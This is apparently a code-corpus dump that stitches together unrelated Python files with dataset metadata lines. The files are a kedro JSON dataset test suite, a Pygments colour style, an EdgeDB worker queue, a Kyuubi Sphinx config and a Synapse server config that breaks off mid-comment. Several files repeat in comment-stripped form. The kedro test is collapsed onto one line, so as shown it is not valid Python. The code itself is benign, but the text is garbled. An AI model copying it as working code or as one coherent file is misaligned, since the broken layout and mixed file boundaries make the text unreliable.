from pathlib import Path, PurePosixPath import pandas as pd import pytest from adlfs import AzureBlobFileSystem from fsspec.implementations.http import HTTPFileSystem from fsspec.implementations.local import LocalFileSystem from gcsfs import GCSFileSystem from pandas.testing import assert_frame_equal from s3fs.core import S3FileSystem from kedro.extras.datasets.pandas import JSONDataSet from kedro.io import DataSetError from kedro.io.core import PROTOCOL_DELIMITER, Version @pytest.fixture def filepath_json(tmp_path): return (tmp_path / "test.json").as_posix() @pytest.fixture def json_data_set(filepath_json, load_args, save_args, fs_args): return JSONDataSet( filepath=filepath_json, load_args=load_args, save_args=save_args, fs_args=fs_args, ) @pytest.fixture def versioned_json_data_set(filepath_json, load_version, save_version): return JSONDataSet( filepath=filepath_json, version=Version(load_version, save_version) ) @pytest.fixture def dummy_dataframe(): return pd.DataFrame({"col1": [1, 2], "col2": [4, 5], "col3": [5, 6]}) class TestJSONDataSet: def test_save_and_load(self, json_data_set, dummy_dataframe): json_data_set.save(dummy_dataframe) reloaded = json_data_set.load() assert_frame_equal(dummy_dataframe, reloaded) def test_exists(self, json_data_set, dummy_dataframe): assert not json_data_set.exists() json_data_set.save(dummy_dataframe) assert json_data_set.exists() @pytest.mark.parametrize( "load_args", [{"k1": "v1", "index": "value"}], indirect=True ) def test_load_extra_params(self, json_data_set, load_args): for key, value in load_args.items(): assert json_data_set._load_args[key] == value @pytest.mark.parametrize( "save_args", [{"k1": "v1", "index": "value"}], indirect=True ) def test_save_extra_params(self, json_data_set, save_args): for key, value in save_args.items(): assert json_data_set._save_args[key] == value @pytest.mark.parametrize( "load_args,save_args", [ ({"storage_options": {"a": "b"}}, {}), ({}, {"storage_options": {"a": "b"}}), ({"storage_options": {"a": "b"}}, {"storage_options": {"x": "y"}}), ], ) def test_storage_options_dropped(self, load_args, save_args, caplog, tmp_path): filepath = str(tmp_path / "test.csv") ds = JSONDataSet(filepath=filepath, load_args=load_args, save_args=save_args) records = [r for r in caplog.records if r.levelname == "WARNING"] expected_log_message = ( f"Dropping 'storage_options' for {filepath}, " f"please specify them under 'fs_args' or 'credentials'." ) assert records[0].getMessage() == expected_log_message assert "storage_options" not in ds._save_args assert "storage_options" not in ds._load_args def test_load_missing_file(self, json_data_set): pattern = r"Failed while loading data from data set JSONDataSet\(.*\)" with pytest.raises(DataSetError, match=pattern): json_data_set.load() @pytest.mark.parametrize( "filepath,instance_type,credentials,load_path", [ ("s3://bucket/file.json", S3FileSystem, {}, "s3://bucket/file.json"), ("file:///tmp/test.json", LocalFileSystem, {}, "/tmp/test.json"), ("/tmp/test.json", LocalFileSystem, {}, "/tmp/test.json"), ("gcs://bucket/file.json", GCSFileSystem, {}, "gcs://bucket/file.json"), ( "https://example.com/file.json", HTTPFileSystem, {}, "https://example.com/file.json", ), ( "abfs://bucket/file.csv", AzureBlobFileSystem, {"account_name": "test", "account_key": "test"}, "abfs://bucket/file.csv", ), ], ) def test_protocol_usage( self, filepath, instance_type, credentials, load_path, mocker ): data_set = JSONDataSet(filepath=filepath, credentials=credentials) assert isinstance(data_set._fs, instance_type) path = filepath.split(PROTOCOL_DELIMITER, 1)[-1] assert str(data_set._filepath) == path assert isinstance(data_set._filepath, PurePosixPath) mock_pandas_call = mocker.patch("pandas.read_json") data_set.load() assert mock_pandas_call.call_count == 1 assert mock_pandas_call.call_args_list[0][0][0] == load_path def test_catalog_release(self, mocker): fs_mock = mocker.patch("fsspec.filesystem").return_value filepath = "test.json" data_set = JSONDataSet(filepath=filepath) data_set.release() fs_mock.invalidate_cache.assert_called_once_with(filepath) class TestJSONDataSetVersioned: def test_version_str_repr(self, load_version, save_version): filepath = "test.json" ds = JSONDataSet(filepath=filepath) ds_versioned = JSONDataSet( filepath=filepath, version=Version(load_version, save_version) ) assert filepath in str(ds) assert "version" not in str(ds) assert filepath in str(ds_versioned) ver_str = f"version=Version(load={load_version}, save='{save_version}')" assert ver_str in str(ds_versioned) assert "JSONDataSet" in str(ds_versioned) assert "JSONDataSet" in str(ds) assert "protocol" in str(ds_versioned) assert "protocol" in str(ds) def test_save_and_load(self, versioned_json_data_set, dummy_dataframe): versioned_json_data_set.save(dummy_dataframe) reloaded_df = versioned_json_data_set.load() assert_frame_equal(dummy_dataframe, reloaded_df) def test_no_versions(self, versioned_json_data_set): pattern = r"Did not find any versions for JSONDataSet\(.+\)" with pytest.raises(DataSetError, match=pattern): versioned_json_data_set.load() def test_exists(self, versioned_json_data_set, dummy_dataframe): assert not versioned_json_data_set.exists() versioned_json_data_set.save(dummy_dataframe) assert versioned_json_data_set.exists() def test_prevent_overwrite(self, versioned_json_data_set, dummy_dataframe): versioned_json_data_set.save(dummy_dataframe) pattern = ( r"Save path \'.+\' for JSONDataSet\(.+\) must " r"not exist if versioning is enabled\." ) with pytest.raises(DataSetError, match=pattern): versioned_json_data_set.save(dummy_dataframe) @pytest.mark.parametrize( "load_version", ["2019-01-01T23.59.59.999Z"], indirect=True ) @pytest.mark.parametrize( "save_version", ["2019-01-02T00.00.00.000Z"], indirect=True ) def test_save_version_warning( self, versioned_json_data_set, load_version, save_version, dummy_dataframe ): pattern = ( rf"Save version '{save_version}' did not match load version " rf"'{load_version}' for JSONDataSet\(.+\)" ) with pytest.warns(UserWarning, match=pattern): versioned_json_data_set.save(dummy_dataframe) def test_http_filesystem_no_versioning(self): pattern = r"HTTP\(s\) DataSet doesn't support versioning\." with pytest.raises(DataSetError, match=pattern): JSONDataSet( filepath="https://example.com/file.json", version=Version(None, None) ) def test_versioning_existing_dataset( self, json_data_set, versioned_json_data_set, dummy_dataframe ): json_data_set.save(dummy_dataframe) assert json_data_set.exists() assert json_data_set._filepath == versioned_json_data_set._filepath pattern = ( f"(?=.*file with the same name already exists in the directory)" f"(?=.*{versioned_json_data_set._filepath.parent.as_posix()})" ) with pytest.raises(DataSetError, match=pattern): versioned_json_data_set.save(dummy_dataframe) # Remove non-versioned dataset and try again Path(json_data_set._filepath.as_posix()).unlink() versioned_json_data_set.save(dummy_dataframe) assert versioned_json_data_set.exists()
true
true
f73d5a959acb0b2d399cca9ecbb4a125dcd43761
1,869
py
Python
pygments_base16/base16-kimber.py
philj56/base16-pygments
04cf1b28ad4a5603cd3336a3c4dba976cf5f1e5b
[ "MIT" ]
null
null
null
pygments_base16/base16-kimber.py
philj56/base16-pygments
04cf1b28ad4a5603cd3336a3c4dba976cf5f1e5b
[ "MIT" ]
null
null
null
pygments_base16/base16-kimber.py
philj56/base16-pygments
04cf1b28ad4a5603cd3336a3c4dba976cf5f1e5b
[ "MIT" ]
null
null
null
from pygments.style import Style from pygments.token import ( Comment, Error, Keyword, Literal, Name, Number, Operator, String, Text ) class BaseSixteenStyle(Style): base00 = '#222222' base01 = '#313131' base02 = '#555D55' base03 = '#644646' base04 = '#5A5A5A' base05 = '#DEDEE7' base06 = '#C3C3B4' base07 = '#FFFFE6' base08 = '#C88C8C' base09 = '#476C88' base0a = '#D8B56D' base0b = '#99C899' base0c = '#78B4B4' base0d = '#537C9C' base0e = '#86CACD' base0f = '#704F4F' default_style = '' background_color = base00 highlight_color = base02 styles = { Text: base05, Error: base08, # .err Comment: f'italic {base03}', # .c Comment.Preproc: base0f, # .cp Comment.PreprocFile: base0b, # .cpf Keyword: base0e, # .k Keyword.Type: base08, # .kt Name.Attribute: base0d, # .na Name.Builtin: base0d, # .nb Name.Builtin.Pseudo: base08, # .bp Name.Class: base0d, # .nc Name.Constant: base09, # .no Name.Decorator: base09, # .nd Name.Function: base0d, # .nf Name.Namespace: base0d, # .nn Name.Tag: base0e, # .nt Name.Variable: base0d, # .nv Name.Variable.Instance: base08, # .vi Number: base09, # .m Operator: base0c, # .o Operator.Word: base0e, # .ow Literal: base0b, # .l String: base0b, # .s String.Interpol: base0f, # .si String.Regex: base0c, # .sr String.Symbol: base09, # .ss } from string import capwords # noqa: E402 BaseSixteenStyle.__name__ = 'BaseSixteen{}Style'.format( capwords('kimber', '-').replace('-', '') ) globals()[BaseSixteenStyle.__name__] = globals()['BaseSixteenStyle'] del globals()['BaseSixteenStyle'] del capwords
25.256757
74
0.569823
from pygments.style import Style from pygments.token import ( Comment, Error, Keyword, Literal, Name, Number, Operator, String, Text ) class BaseSixteenStyle(Style): base00 = '#222222' base01 = '#313131' base02 = '#555D55' base03 = '#644646' base04 = '#5A5A5A' base05 = '#DEDEE7' base06 = '#C3C3B4' base07 = '#FFFFE6' base08 = '#C88C8C' base09 = '#476C88' base0a = '#D8B56D' base0b = '#99C899' base0c = '#78B4B4' base0d = '#537C9C' base0e = '#86CACD' base0f = '#704F4F' default_style = '' background_color = base00 highlight_color = base02 styles = { Text: base05, Error: base08, Comment: f'italic {base03}', Comment.Preproc: base0f, Comment.PreprocFile: base0b, Keyword: base0e, Keyword.Type: base08, Name.Attribute: base0d, Name.Builtin: base0d, Name.Builtin.Pseudo: base08, Name.Class: base0d, Name.Constant: base09, Name.Decorator: base09, Name.Function: base0d, Name.Namespace: base0d, Name.Tag: base0e, Name.Variable: base0d, Name.Variable.Instance: base08, Number: base09, Operator: base0c, Operator.Word: base0e, Literal: base0b, String: base0b, String.Interpol: base0f, String.Regex: base0c, String.Symbol: base09, } from string import capwords BaseSixteenStyle.__name__ = 'BaseSixteen{}Style'.format( capwords('kimber', '-').replace('-', '') ) globals()[BaseSixteenStyle.__name__] = globals()['BaseSixteenStyle'] del globals()['BaseSixteenStyle'] del capwords
true
true
f73d5bc22b1f78080ea64588d47a166f69e3b32f
3,595
py
Python
edb/server/compiler_pool/queue.py
aaronbrighton/edgedb
4aacd1d4e248ae0d483c075ba93fc462da291ef4
[ "Apache-2.0" ]
7,302
2018-05-10T18:36:31.000Z
2022-03-31T17:49:36.000Z
edb/server/compiler_pool/queue.py
aaronbrighton/edgedb
4aacd1d4e248ae0d483c075ba93fc462da291ef4
[ "Apache-2.0" ]
1,602
2018-05-10T17:45:38.000Z
2022-03-31T23:46:19.000Z
edb/server/compiler_pool/queue.py
aaronbrighton/edgedb
4aacd1d4e248ae0d483c075ba93fc462da291ef4
[ "Apache-2.0" ]
236
2018-05-13T14:15:29.000Z
2022-03-29T19:39:19.000Z
# # This source file is part of the EdgeDB open source project. # # Copyright 2020-present MagicStack Inc. and the EdgeDB authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from __future__ import annotations import asyncio import collections import typing W = typing.TypeVar('W') W2 = typing.TypeVar('W2', contravariant=True) class _AcquireCondition(typing.Protocol[W2]): def __call__(self, worker: W2) -> bool: pass class WorkerQueue(typing.Generic[W]): loop: asyncio.AbstractEventLoop _waiters: typing.Deque[asyncio.Future[None]] _queue: typing.Deque[W] def __init__( self, loop: asyncio.AbstractEventLoop, ) -> None: self._loop = loop self._waiters = collections.deque() self._queue = collections.deque() async def acquire( self, *, condition: typing.Optional[_AcquireCondition[W]]=None ) -> W: # There can be a race between a waiter scheduled for to wake up # and a worker being stolen (due to quota being enforced, # for example). In which case the waiter might get finally # woken up with an empty queue -- hence we use a `while` loop here. attempts = 0 while not self._queue: waiter = self._loop.create_future() attempts += 1 if attempts > 1: # If the waiter was woken up only to discover that # it needs to wait again, we don't want it to lose # its place in the waiters queue. self._waiters.appendleft(waiter) else: # On the first attempt the waiter goes to the end # of the waiters queue. self._waiters.append(waiter) try: await waiter except Exception: if not waiter.done(): waiter.cancel() try: self._waiters.remove(waiter) except ValueError: # The waiter could be removed from self._waiters # by a previous release() call. pass if self._queue and not waiter.cancelled(): # We were woken up by release(), but can't take # the call. Wake up the next in line. self._wakeup_next_waiter() raise if condition is not None and len(self._queue) > 1: for w in self._queue: if condition(w): self._queue.remove(w) return w return self._queue.popleft() def release(self, worker: W, *, put_in_front: bool=True) -> None: if put_in_front: self._queue.appendleft(worker) else: self._queue.append(worker) self._wakeup_next_waiter() def _wakeup_next_waiter(self) -> None: while self._waiters: waiter = self._waiters.popleft() if not waiter.done(): waiter.set_result(None) break
31.814159
75
0.587204
from __future__ import annotations import asyncio import collections import typing W = typing.TypeVar('W') W2 = typing.TypeVar('W2', contravariant=True) class _AcquireCondition(typing.Protocol[W2]): def __call__(self, worker: W2) -> bool: pass class WorkerQueue(typing.Generic[W]): loop: asyncio.AbstractEventLoop _waiters: typing.Deque[asyncio.Future[None]] _queue: typing.Deque[W] def __init__( self, loop: asyncio.AbstractEventLoop, ) -> None: self._loop = loop self._waiters = collections.deque() self._queue = collections.deque() async def acquire( self, *, condition: typing.Optional[_AcquireCondition[W]]=None ) -> W: attempts = 0 while not self._queue: waiter = self._loop.create_future() attempts += 1 if attempts > 1: # its place in the waiters queue. self._waiters.appendleft(waiter) else: # On the first attempt the waiter goes to the end # of the waiters queue. self._waiters.append(waiter) try: await waiter except Exception: if not waiter.done(): waiter.cancel() try: self._waiters.remove(waiter) except ValueError: # The waiter could be removed from self._waiters # by a previous release() call. pass if self._queue and not waiter.cancelled(): # We were woken up by release(), but can't take self._wakeup_next_waiter() raise if condition is not None and len(self._queue) > 1: for w in self._queue: if condition(w): self._queue.remove(w) return w return self._queue.popleft() def release(self, worker: W, *, put_in_front: bool=True) -> None: if put_in_front: self._queue.appendleft(worker) else: self._queue.append(worker) self._wakeup_next_waiter() def _wakeup_next_waiter(self) -> None: while self._waiters: waiter = self._waiters.popleft() if not waiter.done(): waiter.set_result(None) break
true
true
f73d5be2bf7dce30bc3c5405591875d80be27d0e
4,644
py
Python
docs/conf.py
serge1994/incubator-kyuubi
3594e08d1be1e657bdb6c6a7f45862c2879b57a3
[ "Apache-2.0" ]
null
null
null
docs/conf.py
serge1994/incubator-kyuubi
3594e08d1be1e657bdb6c6a7f45862c2879b57a3
[ "Apache-2.0" ]
null
null
null
docs/conf.py
serge1994/incubator-kyuubi
3594e08d1be1e657bdb6c6a7f45862c2879b57a3
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Configuration file for the Sphinx documentation builder. # # This file only contains a selection of the most common options. For a full # list see the documentation: # https://www.sphinx-doc.org/en/master/usage/configuration.html # -- Path setup -------------------------------------------------------------- # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # import os import sys import shlex import subprocess sys.path.insert(0, os.path.abspath('.')) import sphinx_rtd_theme html_theme_path = [sphinx_rtd_theme.get_html_theme_path()] import sphinx_markdown_tables import recommonmark from recommonmark.transform import AutoStructify from recommonmark.parser import CommonMarkParser # source_parsers = { # '.md': CommonMarkParser, # } source_suffix = ['.rst', '.md'] # -- Project information ----------------------------------------------------- project = 'Kyuubi' copyright = ''' Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ''' author = 'Kent Yao' # The full version, including alpha/beta/rc tags release = subprocess.getoutput("cd .. && build/mvn help:evaluate -Dexpression=project.version|grep -v Using|grep -v INFO|grep -v WARNING|tail -n 1").split('\n')[-1] # -- General configuration --------------------------------------------------- # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinx.ext.mathjax', 'recommonmark', 'sphinx_markdown_tables', 'notfound.extension', ] master_doc = 'index' # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path. exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # -- Options for HTML output ------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'sphinx_rtd_theme' # html_theme_options = { # 'logo_only': True # } html_logo = 'imgs/kyuubi_logo_gray.png' pygments_style = 'sphinx' # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] htmlhelp_basename = 'Recommonmarkdoc' github_doc_root = 'https://github.com/apache/incubator-kyuubi/tree/master/docs/' def setup(app): app.add_config_value('recommonmark_config', { 'url_resolver': lambda url: github_doc_root + url, 'auto_toc_tree_section': 'Contents', 'enable_eval_rst': True, }, True) app.add_transform(AutoStructify)
35.181818
164
0.720284
import os import sys import shlex import subprocess sys.path.insert(0, os.path.abspath('.')) import sphinx_rtd_theme html_theme_path = [sphinx_rtd_theme.get_html_theme_path()] import sphinx_markdown_tables import recommonmark from recommonmark.transform import AutoStructify from recommonmark.parser import CommonMarkParser source_suffix = ['.rst', '.md'] project = 'Kyuubi' copyright = ''' Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ''' author = 'Kent Yao' release = subprocess.getoutput("cd .. && build/mvn help:evaluate -Dexpression=project.version|grep -v Using|grep -v INFO|grep -v WARNING|tail -n 1").split('\n')[-1] extensions = [ 'sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinx.ext.mathjax', 'recommonmark', 'sphinx_markdown_tables', 'notfound.extension', ] master_doc = 'index' templates_path = ['_templates'] exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] html_theme = 'sphinx_rtd_theme' html_logo = 'imgs/kyuubi_logo_gray.png' pygments_style = 'sphinx' html_static_path = ['_static'] htmlhelp_basename = 'Recommonmarkdoc' github_doc_root = 'https://github.com/apache/incubator-kyuubi/tree/master/docs/' def setup(app): app.add_config_value('recommonmark_config', { 'url_resolver': lambda url: github_doc_root + url, 'auto_toc_tree_section': 'Contents', 'enable_eval_rst': True, }, True) app.add_transform(AutoStructify)
true
true
f73d5e1f6666922d54c3fae2ec51dec94a939f5d
54,580
py
Python
synapse/config/server.py
andybalaam/synapse
88ce3080d4d064b9872c9867208116dc9db73d7e
[ "Apache-2.0" ]
null
null
null
synapse/config/server.py
andybalaam/synapse
88ce3080d4d064b9872c9867208116dc9db73d7e
[ "Apache-2.0" ]
null
null
null
synapse/config/server.py
andybalaam/synapse
88ce3080d4d064b9872c9867208116dc9db73d7e
[ "Apache-2.0" ]
null
null
null
# Copyright 2014-2021 The Matrix.org Foundation C.I.C. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import argparse import itertools import logging import os.path import re import urllib.parse from textwrap import indent from typing import Any, Dict, Iterable, List, Optional, Set, Tuple, Union import attr import yaml from netaddr import AddrFormatError, IPNetwork, IPSet from twisted.conch.ssh.keys import Key from synapse.api.room_versions import KNOWN_ROOM_VERSIONS from synapse.types import JsonDict from synapse.util.module_loader import load_module from synapse.util.stringutils import parse_and_validate_server_name from ._base import Config, ConfigError from ._util import validate_config logger = logging.Logger(__name__) # by default, we attempt to listen on both '::' *and* '0.0.0.0' because some OSes # (Windows, macOS, other BSD/Linux where net.ipv6.bindv6only is set) will only listen # on IPv6 when '::' is set. # # We later check for errors when binding to 0.0.0.0 and ignore them if :: is also in # in the list. DEFAULT_BIND_ADDRESSES = ["::", "0.0.0.0"] def _6to4(network: IPNetwork) -> IPNetwork: """Convert an IPv4 network into a 6to4 IPv6 network per RFC 3056.""" # 6to4 networks consist of: # * 2002 as the first 16 bits # * The first IPv4 address in the network hex-encoded as the next 32 bits # * The new prefix length needs to include the bits from the 2002 prefix. hex_network = hex(network.first)[2:] hex_network = ("0" * (8 - len(hex_network))) + hex_network return IPNetwork( "2002:%s:%s::/%d" % ( hex_network[:4], hex_network[4:], 16 + network.prefixlen, ) ) def generate_ip_set( ip_addresses: Optional[Iterable[str]], extra_addresses: Optional[Iterable[str]] = None, config_path: Optional[Iterable[str]] = None, ) -> IPSet: """ Generate an IPSet from a list of IP addresses or CIDRs. Additionally, for each IPv4 network in the list of IP addresses, also includes the corresponding IPv6 networks. This includes: * IPv4-Compatible IPv6 Address (see RFC 4291, section 2.5.5.1) * IPv4-Mapped IPv6 Address (see RFC 4291, section 2.5.5.2) * 6to4 Address (see RFC 3056, section 2) Args: ip_addresses: An iterable of IP addresses or CIDRs. extra_addresses: An iterable of IP addresses or CIDRs. config_path: The path in the configuration for error messages. Returns: A new IP set. """ result = IPSet() for ip in itertools.chain(ip_addresses or (), extra_addresses or ()): try: network = IPNetwork(ip) except AddrFormatError as e: raise ConfigError( "Invalid IP range provided: %s." % (ip,), config_path ) from e result.add(network) # It is possible that these already exist in the set, but that's OK. if ":" not in str(network): result.add(IPNetwork(network).ipv6(ipv4_compatible=True)) result.add(IPNetwork(network).ipv6(ipv4_compatible=False)) result.add(_6to4(network)) return result # IP ranges that are considered private / unroutable / don't make sense. DEFAULT_IP_RANGE_BLACKLIST = [ # Localhost "127.0.0.0/8", # Private networks. "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", # Carrier grade NAT. "100.64.0.0/10", # Address registry. "192.0.0.0/24", # Link-local networks. "169.254.0.0/16", # Formerly used for 6to4 relay. "192.88.99.0/24", # Testing networks. "198.18.0.0/15", "192.0.2.0/24", "198.51.100.0/24", "203.0.113.0/24", # Multicast. "224.0.0.0/4", # Localhost "::1/128", # Link-local addresses. "fe80::/10", # Unique local addresses. "fc00::/7", # Testing networks. "2001:db8::/32", # Multicast. "ff00::/8", # Site-local addresses "fec0::/10", ] DEFAULT_ROOM_VERSION = "9" ROOM_COMPLEXITY_TOO_GREAT = ( "Your homeserver is unable to join rooms this large or complex. " "Please speak to your server administrator, or upgrade your instance " "to join this room." ) METRICS_PORT_WARNING = """\ The metrics_port configuration option is deprecated in Synapse 0.31 in favour of a listener. Please see https://matrix-org.github.io/synapse/latest/metrics-howto.html on how to configure the new listener. --------------------------------------------------------------------------------""" KNOWN_LISTENER_TYPES = { "http", "metrics", "manhole", "replication", } KNOWN_RESOURCES = { "client", "consent", "federation", "keys", "media", "metrics", "openid", "replication", "static", } @attr.s(frozen=True) class HttpResourceConfig: names: List[str] = attr.ib( factory=list, validator=attr.validators.deep_iterable(attr.validators.in_(KNOWN_RESOURCES)), ) compress: bool = attr.ib( default=False, validator=attr.validators.optional(attr.validators.instance_of(bool)), # type: ignore[arg-type] ) @attr.s(slots=True, frozen=True, auto_attribs=True) class HttpListenerConfig: """Object describing the http-specific parts of the config of a listener""" x_forwarded: bool = False resources: List[HttpResourceConfig] = attr.Factory(list) additional_resources: Dict[str, dict] = attr.Factory(dict) tag: Optional[str] = None @attr.s(slots=True, frozen=True, auto_attribs=True) class ListenerConfig: """Object describing the configuration of a single listener.""" port: int = attr.ib(validator=attr.validators.instance_of(int)) bind_addresses: List[str] type: str = attr.ib(validator=attr.validators.in_(KNOWN_LISTENER_TYPES)) tls: bool = False # http_options is only populated if type=http http_options: Optional[HttpListenerConfig] = None @attr.s(slots=True, frozen=True, auto_attribs=True) class ManholeConfig: """Object describing the configuration of the manhole""" username: str = attr.ib(validator=attr.validators.instance_of(str)) password: str = attr.ib(validator=attr.validators.instance_of(str)) priv_key: Optional[Key] pub_key: Optional[Key] @attr.s(frozen=True) class LimitRemoteRoomsConfig: enabled: bool = attr.ib(validator=attr.validators.instance_of(bool), default=False) complexity: Union[float, int] = attr.ib( validator=attr.validators.instance_of((float, int)), # noqa default=1.0, ) complexity_error: str = attr.ib( validator=attr.validators.instance_of(str), default=ROOM_COMPLEXITY_TOO_GREAT, ) admins_can_join: bool = attr.ib( validator=attr.validators.instance_of(bool), default=False ) class ServerConfig(Config): section = "server" def read_config(self, config: JsonDict, **kwargs: Any) -> None: self.server_name = config["server_name"] self.server_context = config.get("server_context", None) try: parse_and_validate_server_name(self.server_name) except ValueError as e: raise ConfigError(str(e)) self.pid_file = self.abspath(config.get("pid_file")) self.soft_file_limit = config.get("soft_file_limit", 0) self.daemonize = bool(config.get("daemonize")) self.print_pidfile = bool(config.get("print_pidfile")) self.user_agent_suffix = config.get("user_agent_suffix") self.use_frozen_dicts = config.get("use_frozen_dicts", False) self.serve_server_wellknown = config.get("serve_server_wellknown", False) # Whether we should serve a "client well-known": # (a) at .well-known/matrix/client on our client HTTP listener # (b) in the response to /login # # ... which together help ensure that clients use our public_baseurl instead of # whatever they were told by the user. # # For the sake of backwards compatibility with existing installations, this is # True if public_baseurl is specified explicitly, and otherwise False. (The # reasoning here is that we have no way of knowing that the default # public_baseurl is actually correct for existing installations - many things # will not work correctly, but that's (probably?) better than sending clients # to a completely broken URL. self.serve_client_wellknown = False public_baseurl = config.get("public_baseurl") if public_baseurl is None: public_baseurl = f"https://{self.server_name}/" logger.info("Using default public_baseurl %s", public_baseurl) else: self.serve_client_wellknown = True if public_baseurl[-1] != "/": public_baseurl += "/" self.public_baseurl = public_baseurl # check that public_baseurl is valid try: splits = urllib.parse.urlsplit(self.public_baseurl) except Exception as e: raise ConfigError(f"Unable to parse URL: {e}", ("public_baseurl",)) if splits.scheme not in ("https", "http"): raise ConfigError( f"Invalid scheme '{splits.scheme}': only https and http are supported" ) if splits.query or splits.fragment: raise ConfigError( "public_baseurl cannot contain query parameters or a #-fragment" ) # Whether to enable user presence. presence_config = config.get("presence") or {} self.use_presence = presence_config.get("enabled") if self.use_presence is None: self.use_presence = config.get("use_presence", True) # Custom presence router module # This is the legacy way of configuring it (the config should now be put in the modules section) self.presence_router_module_class = None self.presence_router_config = None presence_router_config = presence_config.get("presence_router") if presence_router_config: ( self.presence_router_module_class, self.presence_router_config, ) = load_module(presence_router_config, ("presence", "presence_router")) # whether to enable the media repository endpoints. This should be set # to false if the media repository is running as a separate endpoint; # doing so ensures that we will not run cache cleanup jobs on the # master, potentially causing inconsistency. self.enable_media_repo = config.get("enable_media_repo", True) # Whether to require authentication to retrieve profile data (avatars, # display names) of other users through the client API. self.require_auth_for_profile_requests = config.get( "require_auth_for_profile_requests", False ) # Whether to require sharing a room with a user to retrieve their # profile data self.limit_profile_requests_to_users_who_share_rooms = config.get( "limit_profile_requests_to_users_who_share_rooms", False, ) # Whether to retrieve and display profile data for a user when they # are invited to a room self.include_profile_data_on_invite = config.get( "include_profile_data_on_invite", True ) if "restrict_public_rooms_to_local_users" in config and ( "allow_public_rooms_without_auth" in config or "allow_public_rooms_over_federation" in config ): raise ConfigError( "Can't use 'restrict_public_rooms_to_local_users' if" " 'allow_public_rooms_without_auth' and/or" " 'allow_public_rooms_over_federation' is set." ) # Check if the legacy "restrict_public_rooms_to_local_users" flag is set. This # flag is now obsolete but we need to check it for backward-compatibility. if config.get("restrict_public_rooms_to_local_users", False): self.allow_public_rooms_without_auth = False self.allow_public_rooms_over_federation = False else: # If set to 'true', removes the need for authentication to access the server's # public rooms directory through the client API, meaning that anyone can # query the room directory. Defaults to 'false'. self.allow_public_rooms_without_auth = config.get( "allow_public_rooms_without_auth", False ) # If set to 'true', allows any other homeserver to fetch the server's public # rooms directory via federation. Defaults to 'false'. self.allow_public_rooms_over_federation = config.get( "allow_public_rooms_over_federation", False ) default_room_version = config.get("default_room_version", DEFAULT_ROOM_VERSION) # Ensure room version is a str default_room_version = str(default_room_version) if default_room_version not in KNOWN_ROOM_VERSIONS: raise ConfigError( "Unknown default_room_version: %s, known room versions: %s" % (default_room_version, list(KNOWN_ROOM_VERSIONS.keys())) ) # Get the actual room version object rather than just the identifier self.default_room_version = KNOWN_ROOM_VERSIONS[default_room_version] # whether to enable search. If disabled, new entries will not be inserted # into the search tables and they will not be indexed. Users will receive # errors when attempting to search for messages. self.enable_search = config.get("enable_search", True) self.filter_timeline_limit = config.get("filter_timeline_limit", 100) # Whether we should block invites sent to users on this server # (other than those sent by local server admins) self.block_non_admin_invites = config.get("block_non_admin_invites", False) # Options to control access by tracking MAU self.limit_usage_by_mau = config.get("limit_usage_by_mau", False) self.max_mau_value = 0 if self.limit_usage_by_mau: self.max_mau_value = config.get("max_mau_value", 0) self.mau_stats_only = config.get("mau_stats_only", False) self.mau_limits_reserved_threepids = config.get( "mau_limit_reserved_threepids", [] ) self.mau_trial_days = config.get("mau_trial_days", 0) self.mau_appservice_trial_days = config.get("mau_appservice_trial_days", {}) self.mau_limit_alerting = config.get("mau_limit_alerting", True) # How long to keep redacted events in the database in unredacted form # before redacting them. redaction_retention_period 